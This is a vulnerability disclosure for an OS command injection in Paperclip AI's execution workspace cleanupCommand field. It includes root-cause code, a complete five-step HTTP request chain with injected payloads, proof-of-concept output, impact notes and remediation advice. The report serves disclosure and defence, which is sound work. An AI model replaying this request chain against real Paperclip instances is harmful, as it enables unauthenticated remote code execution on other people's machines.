Paperclip: OS Command Injection via Execution Workspace cleanupCommand

Field	Value
Affected Software	Paperclip AI v2026.403.0
Affected Component	Execution Workspace lifecycle (workspace-runtime.ts)
Affected Endpoint	PATCH /api/execution-workspaces/:id
Deployment Modes	All — local_trusted (zero auth), authenticated (any company user)
Platforms	Linux, macOS, Windows (with Git installed)
Date	2026-04-13

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Executive Summary

A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the cleanupCommand field via the PATCH /api/execution-workspaces/:id endpoint. When the workspace is archived, the server executes this command verbatim via child_process.spawn(shell, ["-c", cleanupCommand]) with no input validation or sanitization. In local_trusted mode (the default for desktop installations), this requires zero authentication.

Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (systeminfo), and GUI application launch (calc.exe).

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Root Cause Analysis

Vulnerable Code Path

server/src/services/workspace-runtime.ts (line ~738)

The cleanupExecutionWorkspaceArtifacts() function iterates over cleanup commands from workspace config and executes each via shell:

// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
  await recordWorkspaceCommandOperation(ws, command, ...);
}

// recordWorkspaceCommandOperation() →
const shell = resolveShell();  // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);

Missing Input Validation

server/src/routes/execution-workspaces.ts — PATCH handler

The PATCH endpoint accepts a config object containing cleanupCommand with no validation:

PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }

The cleanupCommand value is stored directly in workspace metadata and later passed to spawn() without sanitization, allowlisting, or escaping.

Shell Resolution

resolveShell() returns process.env.SHELL or falls back to "sh":

• Linux/macOS: /bin/sh exists natively — commands execute immediately
• Windows: sh.exe is available via Git for Windows (C:\Program Files\Git\bin\sh.exe) — Paperclip requires Git, so sh is present on most installations

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Attack Chain

The exploit requires 5 HTTP requests with zero authentication in local_trusted mode:

Step 1 — Find a Company

GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100

[{"id": "59e9248b-...", "name": "Hello", ...}]

Step 2 — Find an Execution Workspace

GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100

[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]

Step 3 — Reactivate Workspace (if archived/failed)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "active"}

Step 4 — Inject cleanupCommand (Command Injection)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}

Response confirms storage:

{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}

Step 5 — Trigger RCE (Archive Workspace)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "archived"}

This triggers cleanupExecutionWorkspaceArtifacts() which calls:

spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])

The injected command is executed with the privileges of the Paperclip server process.

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Authentication Bypass by Deployment Mode

local_trusted Mode (Default Desktop Install)

Every HTTP request is auto-granted full admin privileges with zero authentication:

// middleware/auth.ts
req.actor = {
  type: "board",
  userId: "local-board",
  isInstanceAdmin: true,
  source: "local_implicit"
};

The boardMutationGuard middleware is also bypassed:

// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
  next();
  return;
}

authenticated Mode

Any user with company access can exploit this vulnerability. The assertCompanyAccess check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.

---

Proof of Concept — 3 Independent RCE Proofs (Windows 11)

All proofs executed via the automated PoC script poc_paperclip_rce.py.

Proof 1: Arbitrary File Write

Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"

Result:

  +================================================+
  |  VULNERABLE - Arbitrary Code Execution!         |
  |  cleanupCommand was executed on the server      |
  +================================================+

  Proof file: %TEMP%\rce-proof-595c04f7.txt
  Content:    RCE_PROOF_595c04f7
  Platform:   Windows 11

Proof 2: System Command Execution (Data Exfiltration)

Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"

Result:

  +================================================+
  |  System command output captured!                |
  +================================================+

  Host Name:                     [REDACTED]
  OS Name:                       Microsoft Windows 11 Home
  OS Version:                    10.0.26200 N/A Build 26200
  OS Manufacturer:               Microsoft Corporation
  Registered Owner:              [REDACTED]
  Product ID:                    [REDACTED]
  System Manufacturer:           [REDACTED]
  System Model:                  [REDACTED]
  System Type:                   x64-based PC
  ... (72 total lines of system information)

Proof 3: GUI Application Launch (calc.exe)

Payload: calc.exe

Result:

  +================================================+
  |  calc.exe launched! Check your taskbar.         |
  |  This is server-side code execution.            |
  +================================================+

Windows Calculator was launched on the host system by the Paperclip server process.

---

Impact Assessment

Impact	Description
Remote Code Execution	Arbitrary commands execute as the Paperclip server process
Data Exfiltration	Full system info, environment variables, files readable by server process
Lateral Movement	Attacker can install tools, pivot to internal network
Supply Chain	Workspaces contain source code — attacker can inject backdoors into repositories
Persistence	Attacker can create scheduled tasks, install reverse shells
Privilege Escalation	Server may run with elevated privileges; attacker inherits them

Attack Scenarios

1. Desktop user (local_trusted): Any process or malicious web page making local HTTP requests to 127.0.0.1:3100 can achieve RCE with zero authentication
2. Team deployment (authenticated): Any employee with Paperclip access can compromise the server and all repositories managed by it
3. Chained attack: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network

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Remediation Recommendations

Immediate (Critical)

1. Input validation: Reject or sanitize cleanupCommand and teardownCommand fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.

2. Command allowlisting: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., git clean, rm -rf <workspace_dir>).

3. Use execFile instead of spawn with shell: Replace spawn(shell, ["-c", command]) with execFile() using an argument array, which prevents shell metacharacter injection.

Short-term

4. Authorization check: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.

5. Separate config fields: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.

Long-term

6. Sandboxed execution: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.

7. Audit logging: Log all modifications to command fields for forensic analysis.

8. Security review: Audit all spawn, exec, and execFile calls across the codebase for similar injection patterns.

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Proof of Concept Script

Script

poc_paperclip_rce.py

The full automated PoC is available as poc_paperclip_rce.py. It:

• Auto-detects deployment mode and skips auth for local_trusted
• Discovers company and workspace automatically
• Reactivates failed/archived workspaces
• On Windows, auto-locates sh.exe from Git and restarts Paperclip if needed
• Runs 3 independent RCE proofs: file write, systeminfo, calc.exe
• Works on Linux, macOS, and Windows

Usage:

python poc_paperclip_rce.py --target http://127.0.0.1:3100